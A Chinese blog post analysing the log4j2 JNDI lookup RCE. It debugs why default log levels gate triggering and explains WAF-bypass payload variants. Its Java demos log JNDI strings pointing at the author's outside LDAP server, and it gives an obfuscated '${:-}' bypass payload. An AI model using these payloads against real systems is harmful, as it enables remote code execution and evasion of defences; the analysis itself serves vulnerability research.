• log4j2 rce几个疑惑点解惑


      log4j2火爆全网,这里抽空简单分析下,几个疑惑点的解答

      log4j2这波属于官方自爆:

      https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup

      官方文档lookup使用:

      

     稍微学过一点ldap注入的都会尝试下ldap://,哈哈哈,开个玩笑~

     漏洞本质原因是jndi:分支最后走到了lookup:

     当打印log的时候,输入的变量会被lookup污染

     /org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class

      

       漏洞原理没啥好讲的,一步步跟代码又臭又长. 

      先演示漏洞效果:

      测试demo:

      

    package com.test;
    
    import org.apache.logging.log4j.Level;
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class test {
        private static final Logger LOGGER = LogManager.getLogger(test.class.getName());
    
        public static void main(String[] args)
        {
            String input = "${jndi:ldap://119.45.227.86:1234}";
            LOGGER.error(input);
        }
    }

      运行代码:

      

       

    发现vps上接收到本地发送的请求,这里不演示漏洞利用rce,点到为止,至此,漏洞利用演示完成

    几个疑惑点解惑

    log4j只能error执行命令解释

    网传只有error等级可以触发ldap注入,而.info/debug等日志等级无法触发,这是为什么呢?我没看到网上有人分析,这里简单过一下

    首先error处打断点:

      

      统一使用step into去跟函数:

      

      

    继续往下跟,这是关键:

      

    public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
            if (this.isEnabled(level, marker, message, throwable)) {
                this.logMessage(fqcn, level, marker, message, throwable);
            }
    
        }

      

      

     if (this.isEnabled(level, marker, message, throwable)) {

       跟进isEnabled函数:

      

      继续往下跟:

      

    boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
        Filter filter = this.config.getFilter();
        if (filter != null) {
            Result r = filter.filter(this.logger, level, marker, msg, t);
            if (r != Result.NEUTRAL) {
                return r == Result.ACCEPT;
            }
        }
    
        return level != null && this.intLevel >= level.intLevel();
    }

      其中的关键点在于最后的判断:

      

    return level != null && this.intLevel >= level.intLevel();

       首选判断等级不能为空,并且当前等级要大于等级设置的等级

    可以发现当前的等级是200,我们调用的error等级也是200,所以满足条件,返回true

    对于满足条件的,进logMessage

    通过上面的调试,我们知道了error对应的等级数值是200

    查看log4j2文档,我们找到了相关的说明:

      默认this.intLevel为200,那么满足条件的有ERROR/FOTAL,测试一把:

      

        演示两个成功的以后,演示失败的,修改等级为debug:

      

     发现我们的intLevel还是200,而error级别是500了,很明显不符合条件,最终返回false

      

      直接跳出了if判断

      

      

    让debug也可以触发很简单,只要修改privateConfig中的intLevel的值,当intLevel>=500即可触发

    这边尝试修改配置文件,是不行的,得动态修改,修改自定义代码如下:

      

    package com.test;
    
    
    
    import org.apache.logging.log4j.Level;
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    import org.apache.logging.log4j.core.LoggerContext;
    
    import java.util.Collection;
    import java.util.Map;
    
    public class test {
        private static final Logger LOGGER = LogManager.getLogger(test.class.getName());
    
    
        public static void main(String[] args)
        {
            Collection<org.apache.logging.log4j.core.Logger> current = LoggerContext.getContext(false).getLoggers();
            Collection<org.apache.logging.log4j.core.Logger> notcurrent = LoggerContext.getContext().getLoggers();
            Collection<org.apache.logging.log4j.core.Logger> allConfig = current;
            allConfig.addAll(notcurrent);
            for (org.apache.logging.log4j.core.Logger log:allConfig){
                log.setLevel(Level.DEBUG);
            };
            String input = "${jndi:ldap://119.45.227.86:1234}";
            LOGGER.debug(input);
        }
    }

      再次运行代码:

      

      debug跟一下:

      

      发现我们的this.intLevel是500,满足条件

      结论:别的等级也可以触发,需要动态设置等级,如果开发自定义了等级,即可在其他等级上触发漏洞

      前面在漏洞产生原因处已经说明漏洞原因,现在直接在lookup处debug:

      /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class#86

       在error处debug:

      

      使用跳转debug,跳转到lookup:

      

      这一串利用链接,还是相当复杂的,source很难,sink很简单.

      

    lookup:172, JndiManager (org.apache.logging.log4j.core.net)
    lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
    lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
    resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
    format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
    format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
    toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
    toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
    encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
    encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
    directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
    tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
    append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
    tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
    callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
    callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
    callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
    callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
    processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
    log:481, LoggerConfig (org.apache.logging.log4j.core.config)
    log:456, LoggerConfig (org.apache.logging.log4j.core.config)
    log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
    log:161, Logger (org.apache.logging.log4j.core)
    tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
    logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
    logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
    logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
    logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
    debug:327, AbstractLogger (org.apache.logging.log4j.spi)
    main:27, test (com.test)

      又臭又长的分析不搞了,有兴趣的可以自己跟进去看代码.

      

     bypass waf payload语句解释

      网上出了很多bypass waf变形payload,如下所示:

      

     

      

    通用的问题,我就挑两个出来讲讲,首先是upper和lower:

    简单说下原理:

    先在这里下断点:

      /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class

     往下跟跳:

      

      

    手动点击进入lookup函数:

    /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrLookup.class

      

    //
    // Source code recreated from a .class file by IntelliJ IDEA
    // (powered by FernFlower decompiler)
    //
    
    package org.apache.logging.log4j.core.lookup;
    
    import org.apache.logging.log4j.core.LogEvent;
    
    public interface StrLookup {
        String CATEGORY = "Lookup";
    
        String lookup(String key);
    
        String lookup(LogEvent event, String key);
    }

      通过idea查看接口实现类:

      

      

    16个实现接口类,lower和upper看一个即可:

    如果payload里包含lower:

    会走lower的lookup:

    /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/LowerLookup.class

      

     

      

    同理jndi走jndilookup的分支,upper走upperlookup的分支

    那么jndi走lookup

    /Users/qixin01/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/JndiLookup.class

      其中最不解的是${:-},这个bypass变种

      这里多次debug发现问题在:

      /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class

      

     

    会根据:-分割,所以要包含:-

    ${:-}会被自动处理掉

    我的测试payload:${j${:-}n${:-}d${:-}i${:-}:${:-}${123::-}${:-}${:-}${:-}${:-}${:-}d${::-}n${::-}s://v p s ip:53/

    简单分析了下,如果有错误,欢迎指出.  

  • 相关阅读:
    【转载】兼容php5,php7的cURL文件上传示例
    解决CURL 请求本地超时
    PHP 二维数组根据某个字段排序
    JS监听输入框值变化兼容 onpropertychange、oninput
    PHP AES的加密解密-----【弃用】
    PHP 开发API接口签名验证
    Python 逐行修改txt每条记录的内容
    Python 修改电脑DNS
    带小数点时间分钟转换
    Python 判断字符串是否为数字
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/15711310.html
Copyright © 2020-2023  润新知